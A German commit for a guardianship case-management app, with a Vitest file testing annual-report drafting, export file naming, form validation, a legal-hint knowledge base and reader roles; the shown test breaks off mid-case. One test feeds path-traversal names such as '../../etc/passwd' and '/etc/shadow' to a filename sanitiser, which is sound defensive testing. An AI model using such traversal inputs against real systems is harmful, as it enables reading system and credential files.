docs: README, Datenschutztexte, Dockerfile und Sicherungsskripte
Damit ist Etappe 1 abgeschlossen und betriebsfertig dokumentiert. README mit beiden Betriebswegen. Docker Compose auf eigenem Server ist der Hauptweg; Vercel und Neon sind vollstaendig beschrieben, aber mit einer klaren Begruendung, warum ich davon abrate: beide Anbieter sind US-Unternehmen und unterliegen auch bei EU-Region potenziell dem CLOUD-Act. Bei Gesundheitsdaten einer nicht entscheidungsfaehigen Person ist das eine Abwaegung, die man bewusst treffen muss. Reverse-Proxy-Beispiele fuer Caddy, nginx und Traefik - der Proxy selbst ist nicht Teil des Compose-Setups, weil er auf dem Zielserver schon steht. Die Datenbank hat keine Portfreigabe. Sicherung: pg_dump schreibt direkt in die Verschluesselung, der Klartext landet nie auf der Platte. Danach eine Selbstpruefung - laesst sich die Datei nicht wieder entschluesseln, endet der Lauf mit Fehler statt mit einem stillen Scheinerfolg. Der jeweils erste Stand eines Monats bleibt dauerhaft stehen. Die README sagt ausdruecklich, was das Backup NICHT enthaelt: den Schluessel ENC_KEY_V1 und die Dateien im Objektspeicher. Dazu eine Anleitung, die Wiederherstellung einmal im Jahr zu ueben - mit dem letzten Schritt, in der Anwendung nachzusehen, ob die Diagnosen im Klartext erscheinen. Erst dann stimmt nicht nur die Datenbank, sondern auch der Schluessel. Verarbeitungsverzeichnis und Datenschutzhinweise als ausfuellbare Textbausteine. Die Hinweise sind in einfacher Sprache geschrieben - sie sollen der betreuten Person vorgelesen werden koennen. Die Seite /datenschutz liest denselben Text aus docs/, damit es nicht zwei Fassungen gibt, die auseinanderlaufen. Dockerfile in drei Stufen mit Tesseract, deutschen Sprachdaten und poppler-utils. Zeitzone Europe/Berlin ist gesetzt - ohne sie rechnet der Server in UTC und verschiebt Fristen um einen Tag. Etappe: 1 Phase: Fundament
This commit is contained in:
@@ -0,0 +1,665 @@
|
||||
import { readFileSync } from 'node:fs'
|
||||
import path from 'node:path'
|
||||
import { describe, expect, it } from 'vitest'
|
||||
|
||||
import {
|
||||
ERGAENZEN,
|
||||
GLIEDERUNG,
|
||||
aufzaehlung,
|
||||
dauerAusgeschrieben,
|
||||
entwurfAlsText,
|
||||
jahresberichtEntwurfBauen,
|
||||
jahresberichtEntwurfText,
|
||||
malAngabe,
|
||||
offeneErgaenzungen,
|
||||
textZuAbschnitten,
|
||||
type JahresberichtQuellen,
|
||||
} from '@/lib/berichte/jahresbericht'
|
||||
|
||||
import {
|
||||
berichtDateiname,
|
||||
exportDokumentPfad,
|
||||
pfadIstSicher,
|
||||
sichereEndung,
|
||||
sichererDateiname,
|
||||
belegmappeSchema,
|
||||
unterlagenpaketSchema,
|
||||
jahresberichtErzeugenSchema,
|
||||
} from '@/lib/validierung/berichte'
|
||||
|
||||
import {
|
||||
HinweisdateiSchema,
|
||||
ausloeserPasst,
|
||||
hinweiseAusDaten,
|
||||
hinweiseAusText,
|
||||
hinweiseSuchen,
|
||||
passendeHinweise,
|
||||
type Hinweiskarte,
|
||||
} from '@/lib/hinweise/laden'
|
||||
|
||||
import {
|
||||
beschreibbareModule,
|
||||
freigabeAenderung,
|
||||
freigabenNormalisieren,
|
||||
letzterAdminGeschuetzt,
|
||||
sichtbareModule,
|
||||
} from '@/lib/validierung/freigaben'
|
||||
|
||||
import { darf } from '@/lib/auth/rollen'
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Beispieldaten - ein Jahr im Leben einer betreuten Person
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
const tag = (iso: string) => new Date(`${iso}T00:00:00.000Z`)
|
||||
|
||||
function beispiel(aenderungen: Partial<JahresberichtQuellen> = {}): JahresberichtQuellen {
|
||||
const quellen: JahresberichtQuellen = {
|
||||
betreute: {
|
||||
anrede: 'Frau',
|
||||
vorname: 'Maria',
|
||||
nachname: 'Musterfrau',
|
||||
geburtsdatum: tag('1943-04-17'),
|
||||
heimName: 'Seniorenzentrum St. Anna',
|
||||
heimStrasse: 'Klinikweg 4',
|
||||
heimPlz: '95444',
|
||||
heimOrt: 'Bayreuth',
|
||||
heimZimmer: '212',
|
||||
heimEinzugAm: tag('2025-11-03'),
|
||||
fruehereStrasse: 'Bergstraße 12',
|
||||
frueherePlz: '95463',
|
||||
fruehererOrt: 'Bindlach',
|
||||
pflegegrad: 4,
|
||||
pflegegradSeit: tag('2025-12-01'),
|
||||
schwerbehinderungGdB: 80,
|
||||
schwerbehinderungMerkzeichen: 'G, B',
|
||||
diagnosen: 'COPD GOLD III mit Sauerstoffpflicht, Herzinsuffizienz',
|
||||
ermittelterWille: 'Sie möchte nicht wiederbelebt werden und keine künstliche Ernährung.',
|
||||
patientenverfuegungVorhanden: true,
|
||||
vorsorgevollmachtVorhanden: false,
|
||||
aufgabenkreise: ['VERMOEGENSSORGE', 'GESUNDHEITSSORGE'],
|
||||
aufgabenkreiseFreitext: null,
|
||||
betreuungsgericht: 'Amtsgericht Bayreuth',
|
||||
aktenzeichenGericht: 'XVII 123/25',
|
||||
bestellungAm: tag('2025-10-01'),
|
||||
bestellungBis: null,
|
||||
},
|
||||
zeitraumVon: tag('2025-10-01'),
|
||||
zeitraumBis: tag('2026-09-30'),
|
||||
kontakte: [
|
||||
{
|
||||
datum: tag('2025-11-10'),
|
||||
art: 'BESUCH',
|
||||
mitBetreuter: true,
|
||||
dauerMinuten: 90,
|
||||
gespraechspartner: null,
|
||||
wuensche: 'Sie möchte ihre Nähmaschine im Zimmer haben.',
|
||||
},
|
||||
{
|
||||
datum: tag('2026-02-14'),
|
||||
art: 'BESUCH',
|
||||
mitBetreuter: true,
|
||||
dauerMinuten: 60,
|
||||
gespraechspartner: null,
|
||||
wuensche: null,
|
||||
},
|
||||
{
|
||||
datum: tag('2026-06-20'),
|
||||
art: 'TELEFONAT',
|
||||
mitBetreuter: true,
|
||||
dauerMinuten: 15,
|
||||
gespraechspartner: null,
|
||||
wuensche: 'Das Haus in Bindlach soll nicht verkauft werden.',
|
||||
},
|
||||
{
|
||||
datum: tag('2026-03-02'),
|
||||
art: 'TELEFONAT',
|
||||
mitBetreuter: false,
|
||||
dauerMinuten: 20,
|
||||
gespraechspartner: 'Bezirk Oberfranken',
|
||||
wuensche: null,
|
||||
},
|
||||
],
|
||||
gesundheit: [
|
||||
{
|
||||
datum: tag('2026-01-08'),
|
||||
bisDatum: tag('2026-01-19'),
|
||||
art: 'KRANKENHAUS',
|
||||
titel: 'Exazerbation der COPD',
|
||||
einrichtung: 'Klinikum Bayreuth',
|
||||
abwesenheitstage: 11,
|
||||
},
|
||||
{
|
||||
datum: tag('2026-04-03'),
|
||||
bisDatum: null,
|
||||
art: 'ARZTBESUCH',
|
||||
titel: 'Kontrolle Lungenfacharzt',
|
||||
einrichtung: null,
|
||||
abwesenheitstage: null,
|
||||
},
|
||||
],
|
||||
vorgaenge: [
|
||||
{
|
||||
titel: 'Antrag auf Hilfe zur Pflege',
|
||||
kategorie: 'SOZIALHILFE',
|
||||
status: 'WARTET_AUF_DRITTE',
|
||||
naechsterSchritt: 'Sachstandsanfrage beim Bezirk',
|
||||
gegenstelle: 'Bezirk Oberfranken',
|
||||
genehmigungspflichtig: false,
|
||||
erledigtAm: null,
|
||||
},
|
||||
{
|
||||
titel: 'Wohnung Bindlach auflösen',
|
||||
kategorie: 'IMMOBILIE',
|
||||
status: 'ERLEDIGT',
|
||||
naechsterSchritt: null,
|
||||
gegenstelle: null,
|
||||
genehmigungspflichtig: true,
|
||||
erledigtAm: tag('2026-05-12'),
|
||||
},
|
||||
],
|
||||
}
|
||||
return { ...quellen, ...aenderungen }
|
||||
}
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Jahresbericht
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Jahresbericht nach § 1863 BGB', () => {
|
||||
it('führt alle fünf Punkte auf, die das Gericht sehen will', () => {
|
||||
const abschnitte = jahresberichtEntwurfBauen(beispiel())
|
||||
|
||||
expect(abschnitte).toHaveLength(5)
|
||||
expect(abschnitte.map((a) => a.nummer)).toEqual([1, 2, 3, 4, 5])
|
||||
expect(abschnitte.map((a) => a.titel)).toEqual(GLIEDERUNG.map((g) => g.titel))
|
||||
for (const abschnitt of abschnitte) {
|
||||
expect(abschnitt.absaetze.length).toBeGreaterThan(0)
|
||||
expect(abschnitt.rechtsgrundlage).toMatch(/§/)
|
||||
}
|
||||
})
|
||||
|
||||
it('beschreibt den Aufenthalt, den Pflegegrad und den Krankenhausaufenthalt', () => {
|
||||
const [persoenlich] = jahresberichtEntwurfBauen(beispiel())
|
||||
const text = persoenlich!.absaetze.join('\n')
|
||||
|
||||
expect(text).toContain('Seniorenzentrum St. Anna')
|
||||
expect(text).toContain('Zimmer 212')
|
||||
expect(text).toContain('Pflegegrad 4')
|
||||
expect(text).toContain('COPD GOLD III')
|
||||
expect(text).toContain('Klinikum Bayreuth')
|
||||
expect(text).toContain('11 Abwesenheitstage')
|
||||
expect(text).toContain('Patientenverfügung liegt vor')
|
||||
})
|
||||
|
||||
it('zählt die persönlichen Kontakte und schreibt sie in ganzen Sätzen aus', () => {
|
||||
const [, kontakt] = jahresberichtEntwurfBauen(beispiel())
|
||||
const text = kontakt!.absaetze.join('\n')
|
||||
|
||||
// Drei Kontakte mit der betreuten Person, davon zwei Besuche.
|
||||
expect(text).toContain('dreimal persönlichen Kontakt')
|
||||
expect(text).toContain('2 Besuche')
|
||||
expect(text).toContain('ein Telefonat')
|
||||
// Der Kontakt mit dem Bezirk zählt nicht als persönlicher Kontakt.
|
||||
expect(text).toContain('1 Kontakte mit Dritten')
|
||||
expect(text).toContain('Bezirk Oberfranken')
|
||||
expect(text).toContain('2 Stunden und 45 Minuten')
|
||||
})
|
||||
|
||||
it('warnt ausdrücklich, wenn kein persönlicher Kontakt protokolliert ist', () => {
|
||||
const ohne = beispiel({ kontakte: [] })
|
||||
const [, kontakt] = jahresberichtEntwurfBauen(ohne)
|
||||
const text = kontakt!.absaetze.join('\n')
|
||||
|
||||
expect(text).toContain('kein persönlicher Kontakt')
|
||||
expect(text).toContain('§ 1863 Abs. 2 BGB')
|
||||
})
|
||||
|
||||
it('übernimmt die Wünsche aus den Protokollen und nennt § 1821 BGB', () => {
|
||||
const [, , wuensche] = jahresberichtEntwurfBauen(beispiel())
|
||||
const text = wuensche!.absaetze.join('\n')
|
||||
|
||||
expect(text).toContain('§ 1821 BGB')
|
||||
expect(text).toContain('Nähmaschine')
|
||||
expect(text).toContain('Das Haus in Bindlach soll nicht verkauft werden.')
|
||||
expect(text).toContain('nicht wiederbelebt werden')
|
||||
// Der Betreuer muss selbst ergänzen, wie er den Wünschen entsprochen hat.
|
||||
expect(text).toContain(ERGAENZEN)
|
||||
})
|
||||
|
||||
it('trennt erledigte und laufende Angelegenheiten nach Kategorien', () => {
|
||||
const [, , , angelegenheiten] = jahresberichtEntwurfBauen(beispiel())
|
||||
const text = angelegenheiten!.absaetze.join('\n')
|
||||
|
||||
expect(text).toContain('Sozialhilfe und Hilfe zur Pflege')
|
||||
expect(text).toContain('Immobilie und Wohnraum')
|
||||
expect(text).toContain('Abgeschlossen wurde Wohnung Bindlach auflösen')
|
||||
expect(text).toContain('Noch offen ist Antrag auf Hilfe zur Pflege')
|
||||
expect(text).toContain('Sachstandsanfrage beim Bezirk')
|
||||
expect(text).toContain('Genehmigungspflichtig waren dabei')
|
||||
})
|
||||
|
||||
it('macht zur Fortführung einen Vorschlag und verlangt eine eigene Entscheidung', () => {
|
||||
const [, , , , einschaetzung] = jahresberichtEntwurfBauen(beispiel())
|
||||
const text = einschaetzung!.absaetze.join('\n')
|
||||
|
||||
expect(text).toContain('Vermögenssorge')
|
||||
expect(text).toContain('Gesundheitssorge')
|
||||
expect(text).toContain('fortzuführen')
|
||||
expect(text).toContain('zu erweitern')
|
||||
expect(text).toContain('einzuschränken')
|
||||
expect(text).toContain(ERGAENZEN)
|
||||
})
|
||||
|
||||
it('bleibt ein Entwurf: offene Stellen sind gezählt und wiederauffindbar', () => {
|
||||
const text = jahresberichtEntwurfText(beispiel())
|
||||
expect(offeneErgaenzungen(text)).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('lässt sich als Text ablegen und wieder in Abschnitte zerlegen', () => {
|
||||
const abschnitte = jahresberichtEntwurfBauen(beispiel())
|
||||
const text = entwurfAlsText(abschnitte)
|
||||
|
||||
expect(text.startsWith('1. Persönliche Verhältnisse')).toBe(true)
|
||||
|
||||
const zurueck = textZuAbschnitten(text)
|
||||
expect(zurueck).toHaveLength(5)
|
||||
expect(zurueck[1]!.titel).toBe('2. Persönlicher Kontakt zur betreuten Person')
|
||||
expect(zurueck[4]!.absaetze.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('verkraftet einen leeren Bestand, ohne den Bericht zu verstümmeln', () => {
|
||||
const leer = beispiel({ kontakte: [], gesundheit: [], vorgaenge: [] })
|
||||
const abschnitte = jahresberichtEntwurfBauen(leer)
|
||||
|
||||
expect(abschnitte).toHaveLength(5)
|
||||
for (const abschnitt of abschnitte) {
|
||||
expect(abschnitt.absaetze.join('').trim()).not.toBe('')
|
||||
}
|
||||
})
|
||||
|
||||
it('formuliert Zahl- und Zeitangaben so, wie man sie schreiben würde', () => {
|
||||
expect(malAngabe(0)).toBe('keinmal')
|
||||
expect(malAngabe(1)).toBe('einmal')
|
||||
expect(malAngabe(3)).toBe('dreimal')
|
||||
expect(malAngabe(17)).toBe('17-mal')
|
||||
expect(dauerAusgeschrieben(95)).toBe('1 Stunde und 35 Minuten')
|
||||
expect(dauerAusgeschrieben(45)).toBe('45 Minuten')
|
||||
expect(aufzaehlung(['a', 'b', 'c'])).toBe('a, b und c')
|
||||
expect(aufzaehlung(['a'])).toBe('a')
|
||||
expect(aufzaehlung([])).toBe('')
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Dateinamen im Export
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Dateinamen im Vollexport', () => {
|
||||
it('schreibt Umlaute um und lässt nur harmlose Zeichen stehen', () => {
|
||||
expect(sichererDateiname('Bescheid Hilfe zur Pflege')).toBe('Bescheid-Hilfe-zur-Pflege')
|
||||
expect(sichererDateiname('Vergütung & Rückkauf')).toBe('Verguetung-Rueckkauf')
|
||||
expect(sichererDateiname('Maßnahme')).toBe('Massnahme')
|
||||
expect(sichererDateiname(' ')).toBe('ohne-titel')
|
||||
expect(sichererDateiname('...')).toBe('ohne-titel')
|
||||
})
|
||||
|
||||
it('lässt keinen Pfadausbruch zu', () => {
|
||||
for (const boesartig of [
|
||||
'../../etc/passwd',
|
||||
'..\\..\\windows\\system32',
|
||||
'C:\\Users\\Public\\x',
|
||||
'/etc/shadow',
|
||||
'beleg\u0000.pdf',
|
||||
'auszug:stream',
|
||||
]) {
|
||||
const sauber = sichererDateiname(boesartig)
|
||||
expect(sauber).not.toContain('..')
|
||||
expect(sauber).not.toContain('/')
|
||||
expect(sauber).not.toContain('\\')
|
||||
expect(sauber).not.toContain(':')
|
||||
expect(sauber).not.toContain('\u0000')
|
||||
}
|
||||
})
|
||||
|
||||
it('umgeht Namen, die Windows nie akzeptiert', () => {
|
||||
expect(sichererDateiname('CON')).toBe('_CON')
|
||||
expect(sichererDateiname('lpt1')).toBe('_lpt1')
|
||||
})
|
||||
|
||||
it('baut den Dokumentpfad nach dem verabredeten Muster', () => {
|
||||
const pfad = exportDokumentPfad({
|
||||
datum: tag('2026-03-14'),
|
||||
absender: 'Bezirk Oberfranken',
|
||||
titel: 'Bescheid über Hilfe zur Pflege',
|
||||
dateiname: 'scan.PDF',
|
||||
mimeTyp: 'application/pdf',
|
||||
})
|
||||
|
||||
expect(pfad).toBe(
|
||||
'dokumente/2026/2026-03-14_Bezirk-Oberfranken_Bescheid-ueber-Hilfe-zur-Pflege.pdf',
|
||||
)
|
||||
expect(pfadIstSicher(pfad)).toBe(true)
|
||||
})
|
||||
|
||||
it('legt Dokumente ohne Datum in einen eigenen Ordner statt in ein erfundenes Jahr', () => {
|
||||
const pfad = exportDokumentPfad({
|
||||
datum: null,
|
||||
absender: null,
|
||||
titel: '../../geheim',
|
||||
dateiname: null,
|
||||
mimeTyp: 'image/jpeg',
|
||||
})
|
||||
|
||||
expect(pfad.startsWith('dokumente/ohne-jahr/')).toBe(true)
|
||||
expect(pfad.endsWith('.jpg')).toBe(true)
|
||||
expect(pfad.split('/')).toHaveLength(3)
|
||||
expect(pfadIstSicher(pfad)).toBe(true)
|
||||
})
|
||||
|
||||
it('erkennt unzulässige Archivpfade', () => {
|
||||
expect(pfadIstSicher('daten/frist.json')).toBe(true)
|
||||
expect(pfadIstSicher('dokumente/../../x')).toBe(false)
|
||||
expect(pfadIstSicher('/absolut')).toBe(false)
|
||||
expect(pfadIstSicher('C:/windows')).toBe(false)
|
||||
expect(pfadIstSicher('a\\b')).toBe(false)
|
||||
expect(pfadIstSicher('')).toBe(false)
|
||||
expect(pfadIstSicher('a//b')).toBe(false)
|
||||
})
|
||||
|
||||
it('normalisiert Dateiendungen', () => {
|
||||
expect(sichereEndung('scan.PDF')).toBe('pdf')
|
||||
expect(sichereEndung('pdf')).toBe('pdf')
|
||||
expect(sichereEndung('ohnepunkt')).toBe('bin')
|
||||
expect(sichereEndung('bild.jpeg')).toBe('jpeg')
|
||||
expect(sichereEndung('x.verylongextension')).toBe('bin')
|
||||
expect(sichereEndung(null)).toBe('bin')
|
||||
})
|
||||
|
||||
it('benennt erzeugte Berichte sortierbar', () => {
|
||||
expect(berichtDateiname('jahresbericht', 'Musterfrau', tag('2026-09-30'), 'pdf')).toBe(
|
||||
'2026-09-30_jahresbericht_Musterfrau.pdf',
|
||||
)
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Eingabepruefung
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Eingabeprüfung der Berichtsformulare', () => {
|
||||
it('weist einen Berichtszeitraum zurück, der rückwärts läuft', () => {
|
||||
const ergebnis = jahresberichtErzeugenSchema.safeParse({
|
||||
betreuteId: 'abc123',
|
||||
zeitraumVon: '2026-09-30',
|
||||
zeitraumBis: '2025-10-01',
|
||||
})
|
||||
expect(ergebnis.success).toBe(false)
|
||||
})
|
||||
|
||||
it('verlangt für die Belegmappe entweder einen Zeitraum oder einen Vorgang', () => {
|
||||
expect(
|
||||
belegmappeSchema.safeParse({ betreuteId: 'abc', quelle: 'zeitraum', zeitraumVon: '', zeitraumBis: '' })
|
||||
.success,
|
||||
).toBe(false)
|
||||
expect(
|
||||
belegmappeSchema.safeParse({
|
||||
betreuteId: 'abc',
|
||||
quelle: 'vorgang',
|
||||
zeitraumVon: '',
|
||||
zeitraumBis: '',
|
||||
vorgangId: 'vg1',
|
||||
}).success,
|
||||
).toBe(true)
|
||||
})
|
||||
|
||||
it('lässt ein Unterlagenpaket ohne ausgewählte Unterlage nicht zu', () => {
|
||||
expect(
|
||||
unterlagenpaketSchema.safeParse({ betreuteId: 'a', antragId: 'b', nachforderungIds: [] })
|
||||
.success,
|
||||
).toBe(false)
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Hinweis-Wissensbasis
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
const WISSENSBASIS = path.join(process.cwd(), 'daten', 'hinweise.json')
|
||||
|
||||
describe('Hinweis-Wissensbasis', () => {
|
||||
const roh = readFileSync(WISSENSBASIS, 'utf8')
|
||||
const geladen = hinweiseAusText(roh)
|
||||
|
||||
it('ist gültig gegen das Schema', () => {
|
||||
expect(geladen.fehler).toEqual([])
|
||||
expect(HinweisdateiSchema.safeParse(JSON.parse(roh)).success).toBe(true)
|
||||
})
|
||||
|
||||
it('enthält mindestens 25 Karten mit eindeutigen Schlüsseln', () => {
|
||||
expect(geladen.karten.length).toBeGreaterThanOrEqual(25)
|
||||
const schluessel = geladen.karten.map((k) => k.schluessel)
|
||||
expect(new Set(schluessel).size).toBe(schluessel.length)
|
||||
})
|
||||
|
||||
it('nennt zu jeder Karte eine Rechtsgrundlage und einen sicheren Link', () => {
|
||||
for (const karte of geladen.karten) {
|
||||
expect(karte.rechtsgrundlage.length).toBeGreaterThan(1)
|
||||
expect(karte.link.startsWith('https://')).toBe(true)
|
||||
expect(karte.kontext.length).toBeGreaterThan(0)
|
||||
}
|
||||
})
|
||||
|
||||
it('deckt die fachlich unverzichtbaren Themen ab', () => {
|
||||
const schluessel = new Set(geladen.karten.map((k) => k.schluessel))
|
||||
for (const pflicht of [
|
||||
'wohnraum-aufgeben',
|
||||
'grundstueck-genehmigung',
|
||||
'genehmigung-vor-geschaeft',
|
||||
'aufwandspauschale',
|
||||
'vermoegensverzeichnis-frist',
|
||||
'jahresbericht',
|
||||
'getrennte-konten',
|
||||
'schonvermoegen',
|
||||
'hausgrundstueck-geschuetzt',
|
||||
'bestattungsvorsorge',
|
||||
'darlehen-statt-verwertung',
|
||||
'widerspruchsfrist',
|
||||
'fehlende-rechtsbehelfsbelehrung',
|
||||
'wille-leitschnur',
|
||||
'zwangsmassnahme',
|
||||
'unterbringung',
|
||||
'leistungszuschlag',
|
||||
'zuzahlungsbefreiung',
|
||||
'landespflegegeld',
|
||||
'rundfunkbeitragsbefreiung',
|
||||
'pflegegrad-hoeherstufung',
|
||||
'leerstand-versicherung',
|
||||
'verkehrssicherungspflicht',
|
||||
'schenkungsrueckforderung',
|
||||
'betreuerausweis',
|
||||
'kontoauszuege-aufbewahren',
|
||||
'rechtspfleger-fragen',
|
||||
]) {
|
||||
expect(schluessel.has(pflicht), `Karte "${pflicht}" fehlt`).toBe(true)
|
||||
}
|
||||
})
|
||||
|
||||
it('markiert die Ausschlussfrist der Aufwandspauschale als solche', () => {
|
||||
const karte = geladen.karten.find((k) => k.schluessel === 'aufwandspauschale')!
|
||||
expect(karte.text).toContain('Ausschlussfrist')
|
||||
expect(karte.rechtsgrundlage).toContain('1878')
|
||||
})
|
||||
|
||||
it('meldet kaputtes JSON, statt abzustürzen', () => {
|
||||
const ergebnis = hinweiseAusText('{ das ist kein JSON')
|
||||
expect(ergebnis.karten).toEqual([])
|
||||
expect(ergebnis.fehler.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('lehnt Karten ohne Pflichtangaben ab', () => {
|
||||
const ergebnis = hinweiseAusDaten({
|
||||
version: 1,
|
||||
karten: [{ schluessel: 'x', titel: 'zu kurz' }],
|
||||
})
|
||||
expect(ergebnis.karten).toEqual([])
|
||||
expect(ergebnis.fehler.length).toBeGreaterThan(0)
|
||||
})
|
||||
|
||||
it('erkennt doppelte Schlüssel', () => {
|
||||
const eine = geladen.karten[0]!
|
||||
const ergebnis = hinweiseAusDaten({ version: 1, karten: [eine, { ...eine }] })
|
||||
expect(ergebnis.karten).toEqual([])
|
||||
expect(ergebnis.fehler[0]).toContain('Doppelte Schlüssel')
|
||||
})
|
||||
})
|
||||
|
||||
describe('Zuordnung der Hinweiskarten zum Kontext', () => {
|
||||
const karten: Hinweiskarte[] = [
|
||||
{
|
||||
schluessel: 'a',
|
||||
titel: 'Karte A für die Immobilie',
|
||||
text: 'x'.repeat(60),
|
||||
rechtsgrundlage: '§ 1833 BGB',
|
||||
link: 'https://www.gesetze-im-internet.de/bgb/__1833.html',
|
||||
kontext: ['IMMOBILIE', 'VORLAGE:wohnungsaufloesung'],
|
||||
gewicht: 5,
|
||||
},
|
||||
{
|
||||
schluessel: 'b',
|
||||
titel: 'Karte B zur Jahresberichtsfrist',
|
||||
text: 'y'.repeat(60),
|
||||
rechtsgrundlage: '§ 1863 BGB',
|
||||
link: 'https://www.gesetze-im-internet.de/bgb/__1863.html',
|
||||
kontext: ['FRIST:jahresbericht'],
|
||||
gewicht: 9,
|
||||
},
|
||||
{
|
||||
schluessel: 'c',
|
||||
titel: 'Karte C zur Sozialhilfe',
|
||||
text: 'z'.repeat(60),
|
||||
rechtsgrundlage: '§ 90 SGB XII',
|
||||
link: 'https://www.gesetze-im-internet.de/sgb_12/__90.html',
|
||||
kontext: ['SOZIALHILFE', 'IMMOBILIE'],
|
||||
gewicht: 9,
|
||||
},
|
||||
]
|
||||
|
||||
it('findet Karten über Modul, Vorlage und Frist', () => {
|
||||
expect(passendeHinweise(karten, ['IMMOBILIE']).map((k) => k.schluessel)).toEqual(['c', 'a'])
|
||||
expect(passendeHinweise(karten, ['VORLAGE:wohnungsaufloesung']).map((k) => k.schluessel)).toEqual([
|
||||
'a',
|
||||
])
|
||||
expect(passendeHinweise(karten, ['FRISTEN'])).toEqual([])
|
||||
})
|
||||
|
||||
it('lässt einen Auslöser auch auf die Frist mit Jahreszahl passen', () => {
|
||||
expect(ausloeserPasst('FRIST:jahresbericht', 'FRIST:jahresbericht-2027')).toBe(true)
|
||||
expect(ausloeserPasst('FRIST:jahresbericht', 'FRIST:jahresberichtXYZ')).toBe(false)
|
||||
expect(ausloeserPasst('IMMOBILIE', 'immobilie')).toBe(true)
|
||||
expect(passendeHinweise(karten, ['FRIST:jahresbericht-2027']).map((k) => k.schluessel)).toEqual([
|
||||
'b',
|
||||
])
|
||||
})
|
||||
|
||||
it('sortiert nach Gewicht und bleibt bei Gleichstand stabil', () => {
|
||||
const treffer = passendeHinweise(karten, ['IMMOBILIE', 'FRIST:jahresbericht'])
|
||||
expect(treffer.map((k) => k.schluessel)).toEqual(['b', 'c', 'a'])
|
||||
expect(passendeHinweise(karten, ['IMMOBILIE'], 1).map((k) => k.schluessel)).toEqual(['c'])
|
||||
})
|
||||
|
||||
it('sucht über Titel, Text und Rechtsgrundlage', () => {
|
||||
expect(hinweiseSuchen(karten, '1833').map((k) => k.schluessel)).toEqual(['a'])
|
||||
expect(hinweiseSuchen(karten, 'sozialhilfe').map((k) => k.schluessel)).toEqual(['c'])
|
||||
expect(hinweiseSuchen(karten, '').map((k) => k.schluessel)).toEqual(['b', 'c', 'a'])
|
||||
})
|
||||
})
|
||||
|
||||
// -----------------------------------------------------------------------------
|
||||
// Rollen und Freigaben
|
||||
// -----------------------------------------------------------------------------
|
||||
|
||||
describe('Mitleser-Rolle und Modulfreigaben', () => {
|
||||
const mitleser = {
|
||||
rolle: 'MITLESER' as const,
|
||||
freigegebeneModule: ['STAMMDATEN', 'FRISTEN'] as const,
|
||||
}
|
||||
|
||||
it('lässt einen Mitleser niemals schreiben – auch nicht im freigegebenen Modul', () => {
|
||||
expect(darf({ ...mitleser, freigegebeneModule: [...mitleser.freigegebeneModule] }, 'FRISTEN', 'lesen')).toBe(true)
|
||||
expect(darf({ ...mitleser, freigegebeneModule: [...mitleser.freigegebeneModule] }, 'FRISTEN', 'schreiben')).toBe(false)
|
||||
expect(
|
||||
beschreibbareModule({ rolle: 'MITLESER', freigegebeneModule: ['STAMMDATEN', 'FRISTEN'] }),
|
||||
).toEqual([])
|
||||
})
|
||||
|
||||
it('zeigt einem Mitleser nur die freigegebenen Bereiche', () => {
|
||||
expect(sichtbareModule({ rolle: 'MITLESER', freigegebeneModule: ['STAMMDATEN', 'FRISTEN'] })).toEqual([
|
||||
'STAMMDATEN',
|
||||
'FRISTEN',
|
||||
])
|
||||
expect(darf({ rolle: 'MITLESER', freigegebeneModule: ['STAMMDATEN'] }, 'GESUNDHEIT', 'lesen')).toBe(
|
||||
false,
|
||||
)
|
||||
})
|
||||
|
||||
it('gibt dem Betreuer und dem Administrator alles', () => {
|
||||
expect(sichtbareModule({ rolle: 'BETREUER', freigegebeneModule: [] }).length).toBeGreaterThan(10)
|
||||
expect(beschreibbareModule({ rolle: 'ADMIN', freigegebeneModule: [] }).length).toBeGreaterThan(10)
|
||||
})
|
||||
|
||||
it('sperrt jeden Zugriff ohne Zugang', () => {
|
||||
expect(darf(null, 'STAMMDATEN', 'lesen')).toBe(false)
|
||||
expect(sichtbareModule(null)).toEqual([])
|
||||
})
|
||||
|
||||
it('räumt die Modulliste auf, sobald jemand kein Mitleser mehr ist', () => {
|
||||
expect(freigabenNormalisieren('BETREUER', ['GESUNDHEIT'])).toEqual([])
|
||||
expect(freigabenNormalisieren('ADMIN', ['GESUNDHEIT'])).toEqual([])
|
||||
expect(freigabenNormalisieren('MITLESER', ['FRISTEN', 'STAMMDATEN'])).toEqual([
|
||||
'STAMMDATEN',
|
||||
'FRISTEN',
|
||||
])
|
||||
})
|
||||
|
||||
it('benennt, was sich an einer Freigabe ändert – und was davon heikel ist', () => {
|
||||
const aenderung = freigabeAenderung(
|
||||
{ rolle: 'MITLESER', freigegebeneModule: ['STAMMDATEN', 'FRISTEN'] },
|
||||
{ rolle: 'MITLESER', freigegebeneModule: ['STAMMDATEN', 'GESUNDHEIT', 'FINANZEN'] },
|
||||
)
|
||||
|
||||
expect(aenderung.hinzugefuegt).toEqual(['FINANZEN', 'GESUNDHEIT'])
|
||||
expect(aenderung.entfernt).toEqual(['FRISTEN'])
|
||||
expect(aenderung.sensibelHinzugefuegt).toEqual(['FINANZEN', 'GESUNDHEIT'])
|
||||
expect(aenderung.rolleGeaendert).toBe(false)
|
||||
})
|
||||
|
||||
it('schützt den letzten Administrator vor sich selbst', () => {
|
||||
expect(
|
||||
letzterAdminGeschuetzt({
|
||||
zielRolleVorher: 'ADMIN',
|
||||
zielRolleNachher: 'BETREUER',
|
||||
zielBleibtAktiv: true,
|
||||
anzahlAktiverAdmins: 1,
|
||||
}),
|
||||
).toMatch(/letzte aktive Administrator/)
|
||||
|
||||
expect(
|
||||
letzterAdminGeschuetzt({
|
||||
zielRolleVorher: 'ADMIN',
|
||||
zielRolleNachher: 'BETREUER',
|
||||
zielBleibtAktiv: true,
|
||||
anzahlAktiverAdmins: 2,
|
||||
}),
|
||||
).toBeNull()
|
||||
|
||||
expect(
|
||||
